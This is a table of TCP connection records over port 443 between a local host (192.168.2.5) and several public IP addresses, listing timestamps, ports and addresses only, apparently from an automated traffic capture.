Nov 25, 2024 12:07:38.639048100 CET	49776	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.639077902 CET	443	49776	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.639147043 CET	49776	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.639466047 CET	49776	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.639492989 CET	443	49776	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.839438915 CET	49778	443	192.168.2.5	23.218.208.109
Nov 25, 2024 12:07:38.839479923 CET	443	49778	23.218.208.109	192.168.2.5
Nov 25, 2024 12:07:38.839591026 CET	49778	443	192.168.2.5	23.218.208.109
Nov 25, 2024 12:07:38.841388941 CET	49778	443	192.168.2.5	23.218.208.109
Nov 25, 2024 12:07:38.841406107 CET	443	49778	23.218.208.109	192.168.2.5
Nov 25, 2024 12:07:39.819227934 CET	443	49769	142.250.181.100	192.168.2.5
Nov 25, 2024 12:07:39.819530964 CET	49769	443	192.168.2.5	142.250.181.100
Nov 25, 2024 12:07:39.819550037 CET	443	49769	142.250.181.100	192.168.2.5
Nov 25, 2024 12:07:39.820652962 CET	443	49769	142.250.181.100	192.168.2.5
Nov 25, 2024 12:07:39.820718050 CET	49769	443	192.168.2.5	142.250.181.100
Nov 25, 2024 12:07:39.821737051 CET	49769	443	192.168.2.5	142.250.181.100
Nov 25, 2024 12:07:39.821810007 CET	443	49769	142.250.181.100	192.168.2.5
Nov 25, 2024 12:07:39.866457939 CET	49769	443	192.168.2.5	142.250.181.100
Nov 25, 2024 12:07:39.866475105 CET	443	49769	142.250.181.100	192.168.2.5
Nov 25, 2024 12:07:39.985337019 CET	49769	443	192.168.2.5	142.250.181.100
Nov 25, 2024 12:07:40.277034044 CET	443	49772	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.278728962 CET	49772	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.278769016 CET	443	49772	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.279481888 CET	49772	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.279488087 CET	443	49772	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.313728094 CET	443	49778	23.218.208.109	192.168.2.5
Nov 25, 2024 12:07:40.313853025 CET	49778	443	192.168.2.5	23.218.208.109
Nov 25, 2024 12:07:40.334893942 CET	49778	443	192.168.2.5	23.218.208.109
Nov 25, 2024 12:07:40.334928989 CET	443	49778	23.218.208.109	192.168.2.5
Nov 25, 2024 12:07:40.335299969 CET	443	49778	23.218.208.109	192.168.2.5
Nov 25, 2024 12:07:40.397727013 CET	49778	443	192.168.2.5	23.218.208.109
Nov 25, 2024 12:07:40.417089939 CET	443	49775	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.417290926 CET	443	49774	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.417414904 CET	443	49773	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.429503918 CET	443	49776	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.457242012 CET	49774	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.471249104 CET	49776	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.523132086 CET	49776	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.523180008 CET	443	49776	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.523602962 CET	49776	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.523617029 CET	443	49776	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.523885965 CET	49775	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.523929119 CET	443	49775	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.524230957 CET	49775	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.524235964 CET	443	49775	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.524497032 CET	49774	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.524509907 CET	443	49774	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.524897099 CET	49774	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.524902105 CET	443	49774	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.525237083 CET	49773	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.525250912 CET	443	49773	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.525641918 CET	49773	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.525645971 CET	443	49773	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.548559904 CET	49778	443	192.168.2.5	23.218.208.109
Nov 25, 2024 12:07:40.595340014 CET	443	49778	23.218.208.109	192.168.2.5
Nov 25, 2024 12:07:40.715719938 CET	443	49772	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.715794086 CET	443	49772	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.715890884 CET	49772	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.716006041 CET	49772	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.716029882 CET	443	49772	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.716041088 CET	49772	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.716047049 CET	443	49772	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.719882965 CET	49779	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.719991922 CET	443	49779	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.720098972 CET	49779	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.720237970 CET	49779	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.720288992 CET	443	49779	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.860738993 CET	443	49775	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.860814095 CET	443	49775	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.860928059 CET	49775	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.861341953 CET	443	49773	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.861407042 CET	443	49773	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.861629009 CET	49773	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.861854076 CET	443	49774	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.861905098 CET	443	49774	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.861952066 CET	49774	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.863847017 CET	49775	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.863861084 CET	443	49775	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.863871098 CET	49775	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.863876104 CET	443	49775	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.869859934 CET	49773	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.869867086 CET	443	49773	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.869882107 CET	49773	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.869885921 CET	443	49773	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.872265100 CET	49774	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.872281075 CET	443	49774	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.872330904 CET	49774	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.872335911 CET	443	49774	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.872881889 CET	443	49776	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.872951984 CET	443	49776	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.873037100 CET	49776	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.881377935 CET	49776	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.881413937 CET	443	49776	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.881442070 CET	49776	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.881459951 CET	443	49776	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.885225058 CET	49780	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.885247946 CET	443	49780	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.885296106 CET	49780	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.887124062 CET	49781	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.887142897 CET	443	49781	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.887200117 CET	49781	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.888134956 CET	49780	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.888147116 CET	443	49780	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.902148962 CET	49782	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.902199030 CET	443	49782	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.902241945 CET	49781	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.902261019 CET	443	49781	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.902261972 CET	49782	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.902348042 CET	49782	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.902364969 CET	443	49782	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.903943062 CET	49783	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.903954983 CET	443	49783	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.904050112 CET	49783	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.915889025 CET	49783	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:40.915904045 CET	443	49783	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:40.968282938 CET	443	49778	23.218.208.109	192.168.2.5
Nov 25, 2024 12:07:40.968374968 CET	443	49778	23.218.208.109	192.168.2.5
Nov 25, 2024 12:07:40.968425035 CET	49778	443	192.168.2.5	23.218.208.109
Nov 25, 2024 12:07:40.971116066 CET	49778	443	192.168.2.5	23.218.208.109
Nov 25, 2024 12:07:40.971123934 CET	443	49778	23.218.208.109	192.168.2.5
Nov 25, 2024 12:07:41.015631914 CET	49787	443	192.168.2.5	23.218.208.109
Nov 25, 2024 12:07:41.015697002 CET	443	49787	23.218.208.109	192.168.2.5
Nov 25, 2024 12:07:41.015901089 CET	49787	443	192.168.2.5	23.218.208.109
Nov 25, 2024 12:07:41.016347885 CET	49787	443	192.168.2.5	23.218.208.109
Nov 25, 2024 12:07:41.016376972 CET	443	49787	23.218.208.109	192.168.2.5
Nov 25, 2024 12:07:41.078466892 CET	49788	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:41.078499079 CET	443	49788	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:41.078569889 CET	49788	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:41.079291105 CET	49789	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:41.079322100 CET	443	49789	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:41.079389095 CET	49789	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:41.079813004 CET	49788	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:41.079829931 CET	443	49788	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:41.081604004 CET	49789	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:41.081617117 CET	443	49789	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:42.440057993 CET	443	49787	23.218.208.109	192.168.2.5
Nov 25, 2024 12:07:42.440133095 CET	49787	443	192.168.2.5	23.218.208.109
Nov 25, 2024 12:07:42.441406012 CET	49787	443	192.168.2.5	23.218.208.109
Nov 25, 2024 12:07:42.441412926 CET	443	49787	23.218.208.109	192.168.2.5
Nov 25, 2024 12:07:42.441639900 CET	443	49787	23.218.208.109	192.168.2.5
Nov 25, 2024 12:07:42.442770958 CET	49787	443	192.168.2.5	23.218.208.109
Nov 25, 2024 12:07:42.483376980 CET	443	49787	23.218.208.109	192.168.2.5
Nov 25, 2024 12:07:42.499646902 CET	443	49779	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:42.500089884 CET	49779	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:42.500144958 CET	443	49779	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:42.501218081 CET	49779	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:42.501249075 CET	443	49779	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:42.630048990 CET	443	49783	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:42.630490065 CET	49783	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:42.630518913 CET	443	49783	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:42.631175995 CET	49783	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:42.631181002 CET	443	49783	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:42.671420097 CET	443	49780	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:42.677109003 CET	49780	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:42.677131891 CET	443	49780	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:42.677665949 CET	49780	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:42.677670956 CET	443	49780	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:42.680382013 CET	443	49781	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:42.681720972 CET	49781	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:42.681745052 CET	443	49781	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:42.682554960 CET	49781	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:42.682560921 CET	443	49781	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:42.747081041 CET	443	49782	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:42.747848988 CET	49782	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:42.747869015 CET	443	49782	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:42.748616934 CET	49782	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:42.748620987 CET	443	49782	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:42.872890949 CET	443	49788	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:42.872934103 CET	443	49789	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:42.879208088 CET	49789	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:42.879230976 CET	443	49789	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:42.879517078 CET	49788	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:42.879551888 CET	443	49788	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:42.881062031 CET	443	49789	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:42.881146908 CET	49789	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:42.881634951 CET	443	49788	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:42.881810904 CET	49788	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:42.943150043 CET	443	49779	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:42.943217993 CET	443	49779	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:42.943301916 CET	49779	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:42.959768057 CET	49789	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:42.960001945 CET	443	49789	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:42.967114925 CET	443	49787	23.218.208.109	192.168.2.5
Nov 25, 2024 12:07:42.967185974 CET	443	49787	23.218.208.109	192.168.2.5
Nov 25, 2024 12:07:42.967262983 CET	49787	443	192.168.2.5	23.218.208.109
Nov 25, 2024 12:07:43.004726887 CET	49789	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.004739046 CET	443	49789	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.041367054 CET	49788	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.041685104 CET	443	49788	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.045619965 CET	49789	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.048644066 CET	49789	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.048721075 CET	49788	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.048752069 CET	443	49788	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.051990986 CET	49779	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.052020073 CET	443	49779	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.052040100 CET	49779	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.052048922 CET	443	49779	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.064522982 CET	443	49783	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.064646006 CET	443	49783	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.065042019 CET	49783	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.068965912 CET	49783	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.068978071 CET	443	49783	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.068989992 CET	49783	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.068994999 CET	443	49783	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.070807934 CET	49787	443	192.168.2.5	23.218.208.109
Nov 25, 2024 12:07:43.070823908 CET	443	49787	23.218.208.109	192.168.2.5
Nov 25, 2024 12:07:43.070919037 CET	49787	443	192.168.2.5	23.218.208.109
Nov 25, 2024 12:07:43.070924997 CET	443	49787	23.218.208.109	192.168.2.5
Nov 25, 2024 12:07:43.081085920 CET	49790	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.081120014 CET	443	49790	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.081351042 CET	49790	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.083340883 CET	49790	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.083354950 CET	443	49790	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.085499048 CET	49791	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.085526943 CET	443	49791	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.085613012 CET	49791	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.085803032 CET	49791	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.085817099 CET	443	49791	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.094420910 CET	49788	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.095343113 CET	443	49789	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.115293026 CET	443	49780	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.115360022 CET	443	49780	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.115406990 CET	49780	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.115691900 CET	49780	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.115706921 CET	443	49780	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.115715981 CET	49780	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.115720987 CET	443	49780	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.118853092 CET	49792	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.118887901 CET	443	49792	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.118952036 CET	49792	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.119082928 CET	49792	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.119092941 CET	443	49792	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.124547005 CET	443	49781	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.124607086 CET	443	49781	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.124753952 CET	49781	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.124794960 CET	49781	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.124806881 CET	443	49781	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.124816895 CET	49781	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.124821901 CET	443	49781	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.127573013 CET	49793	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.127609015 CET	443	49793	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.127701044 CET	49793	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.127839088 CET	49793	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.127856970 CET	443	49793	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.204957962 CET	443	49782	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.205110073 CET	443	49782	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.205169916 CET	49782	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.205715895 CET	49782	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.205724955 CET	443	49782	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.205838919 CET	49782	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.205842972 CET	443	49782	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.208276033 CET	49794	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.208297968 CET	443	49794	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.208431005 CET	49794	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.208800077 CET	49794	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.208808899 CET	443	49794	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.426965952 CET	443	49789	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.427021027 CET	443	49789	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.427042007 CET	443	49789	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.427076101 CET	49789	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.427082062 CET	443	49789	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.427099943 CET	49789	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.427102089 CET	443	49789	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.427120924 CET	443	49789	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.427133083 CET	49789	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.427148104 CET	443	49789	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.427150965 CET	49789	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.427175045 CET	49789	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.427197933 CET	49789	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.428468943 CET	443	49788	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.428503990 CET	443	49788	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.428514957 CET	443	49788	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.428546906 CET	443	49788	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.428565025 CET	443	49788	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.428572893 CET	443	49788	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.428579092 CET	49788	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.428586006 CET	443	49788	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.428594112 CET	49788	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.428616047 CET	49788	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.428632021 CET	49788	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.617207050 CET	443	49789	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.617263079 CET	443	49789	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.617302895 CET	49789	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.617332935 CET	443	49789	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.617356062 CET	49789	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.617384911 CET	49789	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.623385906 CET	443	49788	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.623425961 CET	443	49788	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.623467922 CET	49788	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.623478889 CET	443	49788	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.623542070 CET	49788	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.623548031 CET	443	49788	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.662020922 CET	443	49789	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.662085056 CET	443	49789	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.662116051 CET	49789	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.662122011 CET	443	49789	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.662157059 CET	49789	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.662166119 CET	49789	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.676280022 CET	443	49788	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.676318884 CET	49788	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.676327944 CET	443	49788	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.676367044 CET	49788	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.676381111 CET	443	49788	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.676392078 CET	49788	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.676417112 CET	49788	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.683832884 CET	443	49788	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.683887959 CET	49788	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.683895111 CET	443	49788	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.683929920 CET	49788	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.683959961 CET	443	49788	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.684003115 CET	49788	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.684200048 CET	49788	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.684214115 CET	443	49788	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.684221983 CET	49788	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.684256077 CET	49788	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.792088032 CET	443	49789	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.792135954 CET	443	49789	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.792167902 CET	49789	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.792176962 CET	443	49789	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.792210102 CET	49789	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.792228937 CET	49789	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.828092098 CET	443	49789	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.828135967 CET	443	49789	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.828160048 CET	49789	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.828165054 CET	443	49789	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.828203917 CET	49789	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.828212976 CET	49789	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.842991114 CET	49796	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.843025923 CET	443	49796	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.843142033 CET	49796	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.843496084 CET	49796	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.843508005 CET	443	49796	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.844441891 CET	443	49789	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.844486952 CET	443	49789	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.844516993 CET	49789	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.844521999 CET	443	49789	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.844557047 CET	49789	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.844593048 CET	49789	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:43.863435984 CET	443	49789	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:43.863481998 CET	443	49789	13.107.246.63	192.168.2.5
